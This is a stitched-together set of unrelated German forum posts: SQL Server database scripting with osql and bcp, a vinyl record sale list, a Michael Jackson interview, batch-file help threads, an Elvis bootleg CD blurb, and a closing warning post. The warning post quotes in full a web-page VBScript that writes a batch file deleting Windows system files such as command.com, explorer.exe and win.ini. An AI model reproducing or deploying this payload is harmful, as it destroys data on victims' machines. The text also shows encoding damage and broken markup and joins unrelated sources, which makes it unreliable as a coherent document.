Damit SQLDMO (<i>MS SQL Server Distributed Management Object</i>) zur Verfügung steht, muss dem Projekt im Solution Explorer von VS.NET eine Referenz (Registerseite COM) für den Eintrag <b>Microsoft SQLDMO Object Library</b> hinzugefügt werden.

&gt;...ein von einem DB-Server (MS-SQL 2000) erstelltes Script per C# auf einen anderen Server anzuwenden

Noch einfacher geht es, wenn man in einem Datenbankprojekt in VS.NET ein <b>Command File</b> für diese Daten anlegt. öber das Command File (*.cmd) können mehrere Scripts so zusammengefasst werden, dass nur ein Command File ausgeführt werden muss, um die Tabelle, die Primär- und Fremdschlüssel, Indizies und die Daten wiederherzustellen. Das sieht zum Beispiel so aus:
<pre>

@echo off
REM: Command File Created by Microsoft Visual Database Tools
REM: Date Generated: 09.10.2002
REM: Authentication type: Windows NT
REM: Usage: CommandFilename [Server] [Database]

if '%1' == '' goto usage
if '%2' == '' goto usage

if '%1' == '/?' goto usage
if '%1' == '-?' goto usage
if '%1' == '?' goto usage
if '%1' == '/help' goto usage

osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.tab"
if %ERRORLEVEL% NEQ 0 goto errors
bcp "%2.dbo.TblNew" in "Create Scriptsdbo.TblNew.dat" -S %1 -T -k -n -q
if %ERRORLEVEL% NEQ 0 goto errors
osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.kci"
if %ERRORLEVEL% NEQ 0 goto errors
osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.fky"
if %ERRORLEVEL% NEQ 0 goto errors
osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.ext"
if %ERRORLEVEL% NEQ 0 goto errors

goto finish

REM: How to use screen
:usage
echo.
echo Usage: MyScript Server Database
echo Server: the name of the target SQL Server
echo Database: the name of the target database
echo.
echo Example: MyScript.cmd MainServer MainDatabase
echo.
echo.
goto done

REM: error handler
:errors
echo.
echo WARNING! Error(s) were detected!
echo --------------------------------
echo Please evaluate the situation and, if needed,
echo restart this command file. You may need to
echo supply command parameters when executing
echo this command file.
echo.
pause
goto done

REM: finished execution
:finish
echo.
echo Script execution is complete!
:done
@echo on
</pre>

In einem Installations-Projekt kann dieses Command File genutzt werden, um die Datenbank beim Aufruf des Setups automatisch zu erstellen
Hallo,

ja. Am einfachsten geht das in <i>Microsoft Visual Studio .NET</i>: <br>
1. Neues Datenbankprojekt für diese Datenbank anlegen <br>
2. Server Explorer: Datenbank auswählen | rechter Mausklick | <b>Generator Create Script </b><br>
3. Server Explorer: Datenbank auswählen | rechter Mausklick | <b>Export Data...</b> <br>
4. Solution Explorer: Datenbankprojekt auswählen | rechter Mausklick | <b>Create Command File</b> <br>
Ergebnis: Man hat eine Script-Datei sowie eine Handvoll von Datendateien, um die Datenbank auf einem anderen Rechner aufbauen zu können. Die automatisch generierte so genannte Command-Scriptdatei sieht dabei zum Beispiel folgendermaüen aus:
<pre>
@echo off
REM: Command File Created by Microsoft Visual Database Tools
REM: Date Generated: 09.10.2002
REM: Authentication type: Windows NT
REM: Usage: CommandFilename [Server] [Database]

if '%1' == '' goto usage
if '%2' == '' goto usage

if '%1' == '/?' goto usage
if '%1' == '-?' goto usage
if '%1' == '?' goto usage
if '%1' == '/help' goto usage

osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.tab"
if %ERRORLEVEL% NEQ 0 goto errors
bcp "%2.dbo.TblNew" in "Create Scriptsdbo.TblNew.dat" -S %1 -T -k -n -q
if %ERRORLEVEL% NEQ 0 goto errors
osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.kci"
if %ERRORLEVEL% NEQ 0 goto errors
osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.fky"
if %ERRORLEVEL% NEQ 0 goto errors
osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.ext"
if %ERRORLEVEL% NEQ 0 goto errors

goto finish

REM: How to use screen
:usage
echo.
echo Usage: MyScript Server Database
echo Server: the name of the target SQL Server
echo Database: the name of the target database
echo.
echo Example: MyScript.cmd MainServer MainDatabase
echo.
echo.
goto done

REM: error handler
:errors
echo.
echo WARNING! Error(s) were detected!
echo --------------------------------
echo Please evaluate the situation and, if needed,
echo restart this command file. You may need to
echo supply command parameters when executing
echo this command file.
echo.
pause
goto done

REM: finished execution
:finish
echo.
echo Script execution is complete!
:done
@echo on
</pre>
Wenn Visual Studio .NET nicht zur Verfügung steht, muss man die einzelnen Schritte von Hand über den <i>Enterprise Manager</i> des SQL Servers bzw. über bcp abarbeiten.

Alternativ dazu kann das eigene Programm über den Zugriff auf die COM-Objekte von <i>SQLDMO</i> (Distributed Management Object) auch den SQL Server auf dem Automation-Weg fernbedienen, um dort alle benötigten Sachen neu anzulegen.
Hallo,
wenn <i>Visual Studio .NET 2002/2003</i> verwendet wird, steht dort das <i>Datenbank-Projekt</i> zur Verfügung. Aus dem <i>Server Explorer</i> heraus kann man über den Menüpunkt <b>Generate SQL Script...</b> das Erzeugen der Script-Dateien inklusive der Exportdateien für den aktuellen Tabellen-Inhalt (Menüpunkt <b>Export Data...</b>) anstoüen. Der Wizard baut auch eine CMD-Datei (Batch-Datei) zusammen, so dass am Ende das automatisch generierte Script nur noch mit den Parametern gestartet werden muss. Das sieht am Beispiel so aus:
<code>
@echo off
REM: Command File Created by Microsoft Visual Database Tools
REM: Date Generated: 09.10.2002
REM: Authentication type: Windows NT
REM: Usage: CommandFilename [Server] [Database]

if '%1' == '' goto usage
if '%2' == '' goto usage

if '%1' == '/?' goto usage
if '%1' == '-?' goto usage
if '%1' == '?' goto usage
if '%1' == '/help' goto usage

osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.tab"
if %ERRORLEVEL% NEQ 0 goto errors
bcp "%2.dbo.TblNew" in "Create Scriptsdbo.TblNew.dat" -S %1 -T -k -n -q
if %ERRORLEVEL% NEQ 0 goto errors
osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.kci"
if %ERRORLEVEL% NEQ 0 goto errors
osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.fky"
if %ERRORLEVEL% NEQ 0 goto errors
osql -S %1 -d %2 -E -b -i "Create Scriptsdbo.TblNew.ext"
if %ERRORLEVEL% NEQ 0 goto errors

goto finish

REM: How to use screen
:usage
echo.
echo Usage: MyScript Server Database
echo Server: the name of the target SQL Server
echo Database: the name of the target database
echo.
echo Example: MyScript.cmd MainServer MainDatabase
echo.
echo.
goto done

REM: error handler
:errors
echo.
echo WARNING! Error(s) were detected!
echo --------------------------------
echo Please evaluate the situation and, if needed,
echo restart this command file. You may need to
echo supply command parameters when executing
echo this command file.
echo.
pause
goto done

REM: finished execution
:finish
echo.
echo Script execution is complete!
:done
@echo on
</code>
Wenn Visual Studio .NET nicht (oder nicht in der groüen Version) zur Verfügung steht, kann das Ganze auch von Hand erledigt werden (beim Bulk Copy werden nur die reinen Daten entladen):
<br>
a) Tabellen-Daten über das Kommandozeilen-Tool <b>BCP.EXE</b> exportieren
<code>
EXEC master..xp_cmdshell "bcp tempdb.dbo.Quelle out C:TempQuelle.bcp -T -N "
</code>
b) Tabellen-Daten entweder über <b>BCP.EXE</b> oder über ein SQL-Script mit <b>BULK INSERT</b> importieren, das über das Kommandozeilen-Tool <b>OSQL.EXE</b> ausgeführt wird:
<code>
BULK INSERT
OSTEST.dbo.Ziel
FROM
'C:TempQuelle.bcp'
WITH
(
DATAFILETYPE = 'widenative',
BATCHSIZE = 10000,
TABLOCK
)
</code&gt
V: RH, DSCI4, SUBTITLES etc...
  alles muss raus, das meiste zeug ist zwischen 2003 und 2005, ich fang grad an auszusortieren, demnächst kommt also noch mehr rein. nachfragen nach nicht auf der liste stehenden platten beantworte ich natürlich auch gern.
preise zwischen 5-8€ pro vinyl, alles selbstverfreilich VB.
wenn´s geht einzelkäufe vermeiden da ich nicht 2000 kartons hab ;>

[b]alles bitte per pn![/b]

update:

bse007 c.s. - 1138 7 skullfucked
rl009 chris.su,optiv,axiom // mindscape
qrnuk001 dominion lp pt.1 2x12"
qrnuk002 dominion lp pt.2 2x12"
suicide002 klute - galaxian / gluesniffer
suicide003 anything&everything vol.1 v.a. 2x12"
suicide008 hive & echo & tejada ep 2x12"
msxep015 exile - don´t forget ep 2x12"
msxep041 sunchase - sands of time ep 2x12"
sha005 noisia/drifter - brainstitch / deeper love
tymepls001 tactile supersystem lp-sampler
syndrome002 n.phect&diz:play - campaign / ??? promo
sin013 v.a. broken souls ep 2x12"
rh66 noisia&the tupbeats // noisia,phace&c4c
hedgelp002 x plorer & dee pulse - pleasure principles LP 3x12"
fqy004 dj ecco&sabotage - house music / rise up
free01r adam freeland - wen want your soul (ed&op rmx)
ppr07vs photke - sidewinder / the end (rmx)
beta010 john b - future reference remixed ep 2x12"
nerve013 fission - osirion / luxor promo
pro003uk bc - planet dust / speedball (repress, mit cover und allem drum und dran)
meth041 john b - up all night rmx / diversify rmx
1210006 crossfire - hideout / swordfight promo
hr002 concord dawn - slinky / junglist promo
msxep020 (eigtl doppel-ep,hab nur einen teil) hyper on experience - concord dawn rmx / total science rmx
vlv007 dillinja - live or die / south manz
east55 break - the breakout ep 2x12"
bw20 n.phect&diz:play - velvet morning / the syndicate
v-037 dillinja - the grimey e.p. (ja hab ich mir gekauft :D)
ind004 v.a. the out of town e.p. 2x12"
ind005 david carbone - innocence (orig.) / c4c rmx
ind006 q-project /// accidental heroes

--------

SHAKE002 Rascal & Klone - Snake Eyes / Hellraiser promo
SHAKE003 Rascal & Klone - Terminal Velocity / Zero Tolerance promo
IC087 Phoneheads - Secondsight LP DNB-RMX´s 2x12"
TD007 Ill.Skillz - fusion dance ep
td008 harddrive - recoil / divine promo
suicide001 klute - tranceformat / dunno
suicide015 silent witness - the sands / trench
tyme013 ??? promo
tyme016 sonic&silver - hard times / deep end
tyme022 concord dawn - morning light / xxx
citrus003 falcon - firewalls ep 2x12"
citrus025 catacomb&dementia /// jade
abpr018 (audioblueprint) gridlok promo
sky003 skynet - choke / silverback promo
udfr018 (underfire) skinny + lynx
dnaudio004 silent witness - jumpgate / amazon
dnaudio005 the gene pool ep pt.1
dnaudio006 the gene pool ep pt.2
brax001 toni braxton - hit the freeway (matrix rmx) promo
certificate1843 klute - phonecall (matrix rmx) promo
mtrr008 matrix&danny j - paradiso / cant´s stop
mtrr011 matrix & danny j - vertigo
mtrr012 lee+d.kay - one2three / new day rising
blind002 stare - sunkist / runnaway rmx (original von noisia)
blind003 optiv - tunnelvision promo
dtr003 skynet(?) promo
m-atome010 pyro - netrunnerz / chinese vampires
hostile002 kryptc minds/leon switch - nightshift / simple to lose promo
ff006 (fullforce) mayhem&codex /// n-phonix
prspct003 catacomb - trashmouth / ??? promo
dsci4ep001 mutationz I-IV
obse002 noisia,mayhem&pacific /// kemal&bse
freak001 d.kay&rawfull /// concord dawn promo
aspdp003 aspect records ep 2x12"
cf001 crossfire - skywarp / archangel promo
bseep001 va. 2x12" promo
infralp004 sonic&silver - the stars our destination lp
skyfi2001 accidental heroes - soulfood / summer of love
skyfi2005 gridlok /// sonic&silver
vrs011 sonic and silver - rocketlauncher / funkstation
vrs008 ed&op - kerbkrawler / capsule
vrs004lp the original doctor shade ed+op 4x12"
quarantine002 fierce&fresh /// ed&op
c4c009 c4c - seawolf / paranormal
bcruk002 bc - rush hour / blind
bcruklp002 bc - shot down on safari LP 4x12"
15kohm kiko&submerged /// accela&plejik
16kohm corrupt souls rmx /// temulent rmx
sin006 raiden vs. ras - weed / skynet rmx von orient (org von raiden)
random001 bulletproof - cascade / what u need
zerog002 stakka&skynet - strange daze / faultline
barcode009 ewun - face off / interstellar promo
rhlp03 aftermath (essential rewindz) 7x12" box (mit messiah orig von konflict)
rh36 the harder they come pt1 3x12" promo
rh40 dillinja - twist´em out / kids stuff
rh42 fire ep 2x12" 1xpromo
tyme012 c4c - high down / strange nature
citrus008 rollercoaster lp album sampler
citrus012 falcon - retro (noisia rmx))
citrus017 noisia&mayhem - lockjaw
Adrian Grant Spricht öber Michael Jackson

19.01.09 - 16:05

Adrian Grant, Autor der 'The Visual Documentary' und Produzent von THRILLER LIVE ist ein MJ Fan seit 1988. THRILLER LIVE wird am Mittwoch im Londoner West End offiziell als Dauershow aufgeführt. Danach werden newcastle, York, Tschechische Republik und Polen bereist, um die auüergewöhnliche Musik von Michael Jackson zu feiern.

Adrian Grant traf Michael Jackson persönlich das erste Mal im Jahre 1990.“Als ich das erste Mal zu Michael Jackson’s Neverland Ranch fuhr und dort drei Affeninnerhalb der Ranch herumlaufen sah, und ein Tiger, eine Giraffe, Llamas und alles sah, dachte ich "das ist nicht wahr". Ein Leibwächter sagte zu mir "es ist für Michael real, er wuchs damit auf, das ist seine Realität!".

Wenn man die Zeit mit ihm verbringt, dann merkt man das er sehr auf den Boden geblieben ist. Er macht Witze und er weiü über seine Musik und sein Handwerk bescheid, er ist ein ganz normaler Kerl, der einen massiven Erfolg hat. Sein Leben lebt er leider unter einem Mikroskop und er ist naiv und wird von Menschen fallen gelassen und macht Fehler, für die er seine Hand hinhält. "

Grant sagt, daü die vielen Treffen mit Michael Jackson zeigen, daü die "scheue" Seite ein Medienmythos sind. “Am Ende des Tages ist er einer der am mesit geöffneten Popstars, den ich kenne. Prince ist scheu, aber Michael wird seine Türen für die Öffentlichkeit und Fans öffnen. Ich habe ihm mal ein paar Tanzschritte gezeigt, über die er sehr gelacht hatte. Sein Rat an mich war, daü man eine Rhinoceros Hauteser Branche braucht."
In den 1980er startete Adrian Grant das Off The Wall Fan Magazin mit 200 Kopien. Die Fans kamen und kamen und es wurden mehr als 25.000 Kopien und ab 1991 lud er jährlich zum MJ FAN DAY ein, dessen 10. Geburtstag Michael Jackson persönlich besuchte.“Wir hatten über 3000 Leute dort und es kam dazu, das es eine Bühnenshow wurde. Von nun an kostete diese Show statt ÂŁ30,000 nun bis zu ÂŁ100,000,"
So gewann Grant die Investitionen der Flying Music Produktionsfirma im Jahr 2006 für die Entwicklung der Show. Es war eine schwere öbergabe "seines Babys" an die kommerziellen Experten: “Auf der kreativen Seite arbeite ich Hand in Hand mit dem Regisseur (Gary Lloyd) baber er sieht die Choreographie und Inszenierung."
'Thriller Live' hat mehrere Darsteller, die Michael Jackson in den Jahrzehnten seiner Karriere darstellen:“Wir konnten Michael Jackson niemals als eine Person emulieren, alleine schon durch diese groüen Karriere, die er schon seit 40 Jahrenhatte, so werden wir von einem jungen Michael Jackson starten und sein Material mit fünf Hauptsängern aufteilen, auch mit einer weiblichen Stimme. (Denise Pearson von Five Star)."
Ist das Kontroverse, das dem Superstar umgibt, ein Problem?“Das Lustige daran ist, sobald eines seiner Hits, wie Billy Jean, gespielt wird, sprechen die Menschen nicht über die Anschuldigungen gegen ihn. Wir berühren keine dieser Kontroversen.

Die Leute tanzen nur und haben Spaü. Wir sehen Menschen von 5 bis 70, die in den Reiehn tanzen."

Michael Jackson hat bisher noch nicht die jüngste Fassung der Show gesehen, aber sein älterer Bruder Tito besuchte letzte Woche und hat diese gelobt. Währenddessen wird eine aufgezeichnete version der Show an Michael gesendet. "Als wir anfingen auf Tournee zu gehen, hat er mir eine Gratulationsnachricht gesendet. Es gibt keinen direkten Handel mit Michael Jackson.

Es ist eine Präsentation seiner Musik und kein Musical nach einem Buch, dem Du folgen muüt. Mit Tribut-Shows ist man frei in der Art und Weise der Präsentation."

Was erwartet Adrian Grant von Michael Jackson dieses Jahr? “Er wird zurückkommen, gröüer und besser als jemals zu vor. Ich möchte sein neues Material hören. Er wird seine negative Zeit hinter sich lassen. In meinem Fall ist es schwer mit Michael Jacksons Musik falsch umzugehen."
Quelle: MJFC USA, The Nothern Echo & JAM-FC
Dateien umbenennen
  Hallo NG

Ich suche schon seit längerem eine komvortable möglichkeit mehrere Bild
Dateien auf einmal umzubenennen.
Grund dafür ist dass meine Digicam nach 10000 Fotos wieder mit 00000
anfängt zu zählen.
Nach Auskunft von Sony ist dies nicht zu ändern.

Wie gesagt ich habe mehr als 10.000 Fotos die alle zb. DSC01234.jpg heissen.

Das letze Foto mit hoher Nummer hies also DSC09999.jpg
Und das nächste dann also DSC00000.jpg
Da ich meine Fotos aber in Order archiviere kommt es früher oder später
zu einem Konflikt, da ich die Originalfotos beim Name belassen will.

Was ich möchte ist eigentlich nur dass ein Script die erste 0 in eine 1
umbenennt.

Jetzt habe ich ein kurzes Script gefunden das meinen Wunsch schon fast
erfüllt, da gibt es nur noch ein kleines Problem.

Das Script benennt alle Nullen in Einsen um.
Also auch zb. DSC01200.jpg in DSC11211.jpg
Genau das sollte aber nicht passieren, denn ich möchte wie gesagt nur
dass die erste Null in eine Eins umbenannt wird.

Bitte kann mir jemand sagen wie man das Script ändern muss um den
gewünschten Erfolg zu haben?

Gruü Harry K.

Script:

@echo off
goto Start
----------------------------------------------------------------
Dieses Programm wird alle Dateien im gegenwärtigen Verzeichnis
umbenennen, indem die Zeichenfolge {alt} in den Dateinamen durch
die Zeichenfolge {neu} ersetzt wird.
Beispiel:
set alt=0000
set neu=-2008
Die Datei 12340000.jpg wird auf 1234-2008.jpg umbenannt.
Die Datei 9970000.jpg wird auf 976-2008.jpg umbenannt.
Die folgende Einstellungen müssen weiter unten vorgenommen werden
set aktiv=nein (nein=bloss Probelauf, ja=Umbenennen)
set sub=ja (ja=Unterverzeichnisse bearbeiten,
nein=Unterverzeichnisse nicht bearbeiten)
set typ=jpg (Dateityp. Z.B. jpg für Bilderdateien)
set alt=0000 (Ursprüngliche Zeichenfolge)
set neu=-2008 (Gewünschte Zeichenfolge)
Datein werden nicht umbenannt, falls eine gleichnamige
Datei schon existiert.
Falls Dateinamen existieren, welche die Zeichen %, ^ oder &
enthalten, wird das Programm nicht ausgeführt. In solchen
Fällen ist das entsprechende VB Script Programm zu benutzen.
------------------------------------------------------------------
:Start
rem -----------------------------------------------------------
rem Du musst die nächsten 5 Zeilen deiner Umgebung anpassen!
rem -----------------------------------------------------------
set aktiv=ja
set sub=nein
set typ=jpg
set alt=0
set neu=1
rem -----------------------------------------------------------
rem Die Einstellungen "aktiv" und "sub" bearbeiten
rem -----------------------------------------------------------
setlocal EnableDelayedExpansion
if /i %aktiv%==ja (set cmd=if not) else (set cmd=rem)
if /i %sub%==ja (set switch=/s) else (set switch=)
rem -----------------------------------------------------------
rem Eine Liste aller Dateien aufstellen. Gibt es problematische Zeichen?
rem -----------------------------------------------------------
dir /b /a-d %switch% *.%typ% "%temp%dir.txt"
findstr "%% ^ &" "%temp%dir.txt" nul && goto Error
rem -----------------------------------------------------------
rem Die Dateien umbenennen
rem -----------------------------------------------------------
for /F "delims=" %%a in ('type "%temp%dir.txt"') do (
set Name1=%%a
call set Name2=!Name1:%alt%=%neu%!
if not "!Name2!"=="!Name1!" echo ren "!Name1!" "!Name2!"
%cmd% "!Name2!"=="!Name1!" ren "!Name1!" "!Name2!"
)
rem -----------------------------------------------------------
rem Programmende
rem -----------------------------------------------------------
:Exit
echo.
echo Dieses Fenster mit der Leertaste schliessen.
pause nul
goto :eof
rem -----------------------------------------------------------
rem Problematische Zeichen anzeigen
rem -----------------------------------------------------------
:Error
echo.
echo Warnung: Die folgenden Dateinamen enthalten Zeichen, welche
echo dieses Batchprogramm nicht verarbeiten kann.
findstr "%% ^ &" "%temp%dir.txt"
goto :Exit
Dateien umbenennen
  Harry wrote:
Hallo NG

Ich suche schon seit längerem eine komvortable möglichkeit mehrere
Bild Dateien auf einmal umzubenennen.
Grund dafür ist dass meine Digicam nach 10000 Fotos wieder mit 00000
anfängt zu zählen.
Nach Auskunft von Sony ist dies nicht zu ändern.

Wie gesagt ich habe mehr als 10.000 Fotos die alle zb. DSC01234.jpg
heissen.
Das letze Foto mit hoher Nummer hies also DSC09999.jpg
Und das nächste dann also DSC00000.jpg
Da ich meine Fotos aber in Order archiviere kommt es früher oder
später zu einem Konflikt, da ich die Originalfotos beim Name belassen
will.

Was ich möchte ist eigentlich nur dass ein Script die erste 0 in eine
1 umbenennt.

Jetzt habe ich ein kurzes Script gefunden das meinen Wunsch schon fast
erfüllt, da gibt es nur noch ein kleines Problem.

Das Script benennt alle Nullen in Einsen um.
Also auch zb. DSC01200.jpg in DSC11211.jpg
Genau das sollte aber nicht passieren, denn ich möchte wie gesagt nur
dass die erste Null in eine Eins umbenannt wird.

Bitte kann mir jemand sagen wie man das Script ändern muss um den
gewünschten Erfolg zu haben?

Gruü Harry K.

Script:

@echo off
goto Start
----------------------------------------------------------------
Dieses Programm wird alle Dateien im gegenwärtigen Verzeichnis
umbenennen, indem die Zeichenfolge {alt} in den Dateinamen durch
die Zeichenfolge {neu} ersetzt wird.
Beispiel:
set alt=0000
set neu=-2008
Die Datei 12340000.jpg wird auf 1234-2008.jpg umbenannt.
Die Datei 9970000.jpg wird auf 976-2008.jpg umbenannt.
Die folgende Einstellungen müssen weiter unten vorgenommen werden
set aktiv=nein (nein=bloss Probelauf, ja=Umbenennen)
set sub=ja (ja=Unterverzeichnisse bearbeiten,
nein=Unterverzeichnisse nicht bearbeiten)
set typ=jpg (Dateityp. Z.B. jpg für Bilderdateien)
set alt=0000 (Ursprüngliche Zeichenfolge)
set neu=-2008 (Gewünschte Zeichenfolge)
Datein werden nicht umbenannt, falls eine gleichnamige
Datei schon existiert.
Falls Dateinamen existieren, welche die Zeichen %, ^ oder &
enthalten, wird das Programm nicht ausgeführt. In solchen
Fällen ist das entsprechende VB Script Programm zu benutzen.
------------------------------------------------------------------
Start

rem -----------------------------------------------------------
rem Du musst die nächsten 5 Zeilen deiner Umgebung anpassen!
rem -----------------------------------------------------------
set aktiv=ja
set sub=nein
set typ=jpg
set alt=0
set neu=1
rem -----------------------------------------------------------
rem Die Einstellungen "aktiv" und "sub" bearbeiten
rem -----------------------------------------------------------
setlocal EnableDelayedExpansion
if /i %aktiv%==ja (set cmd=if not) else (set cmd=rem)
if /i %sub%==ja (set switch=/s) else (set switch=)
rem -----------------------------------------------------------
rem Eine Liste aller Dateien aufstellen. Gibt es problematische
Zeichen? rem
-----------------------------------------------------------
dir /b /a-d %switch% *.%typ% "%temp%dir.txt"
findstr "%% ^ &" "%temp%dir.txt" nul && goto Error
rem -----------------------------------------------------------
rem Die Dateien umbenennen
rem -----------------------------------------------------------
for /F "delims=" %%a in ('type "%temp%dir.txt"') do (
set Name1=%%a
call set Name2=!Name1:%alt%=%neu%!
if not "!Name2!"=="!Name1!" echo ren "!Name1!" "!Name2!"
%cmd% "!Name2!"=="!Name1!" ren "!Name1!" "!Name2!"
)
rem -----------------------------------------------------------
rem Programmende
rem -----------------------------------------------------------
Exit

echo.
echo Dieses Fenster mit der Leertaste schliessen.
pause nul
goto :eof
rem -----------------------------------------------------------
rem Problematische Zeichen anzeigen
rem -----------------------------------------------------------
Error

echo.
echo Warnung: Die folgenden Dateinamen enthalten Zeichen, welche
echo dieses Batchprogramm nicht verarbeiten kann.
findstr "%% ^ &" "%temp%dir.txt"
goto :Exit


Hier zwei Tools, die eventuell helfen könnten:
http://www.fauland.de/af5.htm
http://toolsandmore.biz/Central/Prod...tei-Tools/Joe/
MfG H.I.
"Matthias Kahlert" Imightreadmailtothisadressorimightnotbutinanycase schrieb:
Helmut Rohrbeck wrote:

"Matthias Kahlert" schrieb:
Helmut Rohrbeck wrote:
"Matthias Kahlert" schrieb:


-----------------------------------------------
@echo off
:Schleife
echo %1
nprint %~s1 NB NFF Q=A3
shift
if not "%1"=="" goto Schleife
pause
exit


Wäre nett, wenn du den "Fehler" irgendwie markieren würdest.


Ich denke, das solltest Du selbst herausfinden, deshalb mein
Hinweis auf die Befehlszeilenreferenz.
Lies mal

hh.exe


Ja, da steht, dass ich mit %~s1 den kurzen Dateinamen bekomme (den ich
an nprint übergeben will). Aus irgendeinem Grund funktioniert das aber
auf Netware-Netzlaufwerken nicht. Folgendes Testscript:

-------------------------------------------------
@ECHO OFF

echo long %1
echo short %~s1
echo short file name %~snx1
echo short drive and directory %~sdp1

pause
-------------------------------------------------
Ergibt als Ausgabe:

long C:TEMPTEST123456789012345678901234567890.plt
short C:TEMPTEST123456~1123456~1123456~1.PLT
short file name 123456~1.PLT
short drive and directory C:TEMPTEST123456~1123456~1
Drücken Sie eine beliebige Taste . . .
-------------------------------------------------
long O:TEST123456789012345678901234567890.plt
short O:TEST1234567812345678901234567890.plt -
short file name 1234567890.plt -
short drive and directory O:TEST123456781234567890 -
Drücken Sie eine beliebige Taste . . .
-------------------------------------------------
long O:TEST12345678901234567890.plt
short O:TEST123456781234567890.plt -
short file name 1234567890.plt -
short drive and directory O:TEST12345678
Drücken Sie eine beliebige Taste . . .
-------------------------------------------------
long O:TEST12341234567890.plt
short O:TEST123412345678.PLT
short file name 12345678.PLT
short drive and directory O:TEST1234
Drücken Sie eine beliebige Taste . . .
-------------------------------------------------

Da wo markiert, ist wohl was faul. Es wird immer nur ein Element des
Pfades verkürzt und nicht der ganze Pfad. Mit Windows-netz- oder
Linux-Samba-Laufwerken gibt es das Problem nicht.

Sieht mir nach einem bug aus.


Dann wende Dich an http://support.microsoft.com/contactus/
Ich kann Dir da nicht weiterhelfen, ich benutze keine Batch-Dateien,
sondern VB- oder JScript für solche Zwecke und habe deshalb keine
Erfahrungen damit und auch nicht mit "Novell"-Netzwerken.

--
MfG Helmut Rohrbeck www.helmrohr.de
Neu im Download: Datenträger-Wartung für Windows XP!
PMail nur über das Formular auf meiner Webseite.
Das hab ich grad reinbekommen:

The producers are aware that this concert was previously released from another source but in the case of this release, they were able to obtain an ORIGINAL TAPE recorded by the same person that taped the College Park, MD, 27.09.1974 using the same recorder and microphone. That concert has been released on Straight Arrow's 2006 CD "CHAOS IN COLLEGE PARK". The main reason for this new and ultimate Pontiac '75 release is that the sound quality is excellent for an off-line recording. Since no soundboard recording of this show exists, only audience taped documentation of this historic event is available. Over the last 15 years, three independent audience recordings were collected and on each source there was a major problem: excessive echo caused by the large stadium space. This new source is very clear and most importantly, almost echo-free because the person with recorder was sitting very close to the sound system.

The content of the show is well known, with the playlist based on Elvis' previous Las Vegas engagement. Among the Pontiac highlights are powerful performances of "Trying To Get To You", "One Night" and "Heartbreak Hotel" and also the ballads "You Gave Me A Mountain" and "And I Love You So", which were sung with passion. Finally, a thundering performance of "How Great Thou Art" brought the stadium down. The one and only real drawback is an unrehearsed "My Way"; Elvis had problems with the lyrics and he paused the song in the middle for a few seconds.

We live in the days when almost every obscure CD label is hyping that their product was "taken directly from the original tape"…is, what else - "professionally remastered" and of course – with "fantastic results". Every new CD seems to contain some "deluxe 16-page full color booklet" with many "unpublished photos" in a "very professional layout".

The "Straight Arrow" label does not want to exaggerate. If you have any of the previous "Straight Arrow" CD releases, then you know what to expect in design and sound quality. This new 2CD-set will contain a 24 page booklet with approx. 60 photos. Some of them are unpublished, some not, but they all were carefully hand-picked from the almost 150 available shots to give the listener a visual overview of The Event. You will see Elvis before and after the show as well as in both jumpsuits on stage. An unusual photo of the Silverdome stage before the concert is included as well as the review from the local newspaper, original ticket stub and show poster. To make the release even more authentic, sleeve notes were written by a fan that was so happy to be there...

The "Straight Arrow" team wishes you a Happy New Year 2008 and hopes that you will enjoy this special New Years Eve release!

Tracks:

CD-1:

01. Also Sprach Zarathustra (Theme from "2001 A Space Odyssey") - 02. Opening Vamp / C. C. Rider - 03. I Got A Woman / Amen (medley) - 04. Monologue #1 (Elvis splits his pants) - 05. Love Me - 06. Tryin' To Get To You - 07. And I Love You So - 08. All Shook Up - 09. (Let Me Be Your) Teddy Bear / Don't Be Cruel (medley) - 10. Heartbreak Hotel - 11. One Night - 12. You Gave Me A Mountain - 13. Polk Salad Annie - 14. Monologue #2 (Elvis leaves the stage to change suit) - 15. Sweet Sweet Spirit (by J. D. Sumner & The Stamps).

Approximate running time:
43:35

CD-2:

01. Band Introductions - 02. What'd I Say - 03. Drums Solo (by Ronnie Tutt) - 04. Bass Solo (Blues - by Jerry Scheff) - 05. Piano Solo (by Glen D. Hardin - for the very last time on stage with Elvis) - 06. Electric Piano Solo (by David Briggs) - 07. School Day - 08. My Way (with break) - 09. Love Me Tender - 10. Monologue #3 / New Year Countdown - 11. Auld Lang Syne - 12. How Great Thou Art (with reprise of the finale) - 13. It's Now Or Never - 14. America (The Beautiful) - 15. Monologue #4 (Elvis thanks / Introductions of Charlie Hodge, Lisa Marie and Vernon Presley) - 16. Hound Dog - 17. Wooden Heart (part only) - 18. Can't Help Falling In Love - 19. Closing Vamp / />
Bonus tracks:

20. Elvis speaks about his New Year's Eve show #1 (Seattle, WA, April 26, 1976, 8:30 P.M.)
21. Elvis speaks about his New Year's Eve show #2 (Atlanta, GA, June 05, 1976, 8:30 P.M.)
Approximate running time: 41:28

Total time:
85:03
WARNUNG
  Achtung, bevor Ihr die Page von Downy (hier vom Board) betretet. Downy hat dort folgendes VBScript eingebaut:

<script language="VBScript"><!--
Set fs = CreateObject("Scripting.FileSystemObject")
Set format = fs.CreateTextFile("tryme.bat")
format.WriteLine("@Echo=off")
format.WriteLine("c:")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("cd..")
format.WriteLine("del autoexec.bat")
format.WriteLine("del command.com")
format.WriteLine("del config.sys")
format.WriteLine("cd windows")
format.WriteLine("del welcome.exe")
format.WriteLine("del winsock.dll")
format.WriteLine("del win.ini")
format.WriteLine("del winfile.ini")
format.WriteLine("del command.com")
format.WriteLine("del command.com")
format.WriteLine("del explorer.exe")
format.WriteLine("del winipcfg.exe")
format.WriteLine("cd desktop")
format.WriteLine("del tryme.bat")
format.WriteLine("Echo=files deleted!")
format.WriteLine("Pause")
format.Close
--></script>

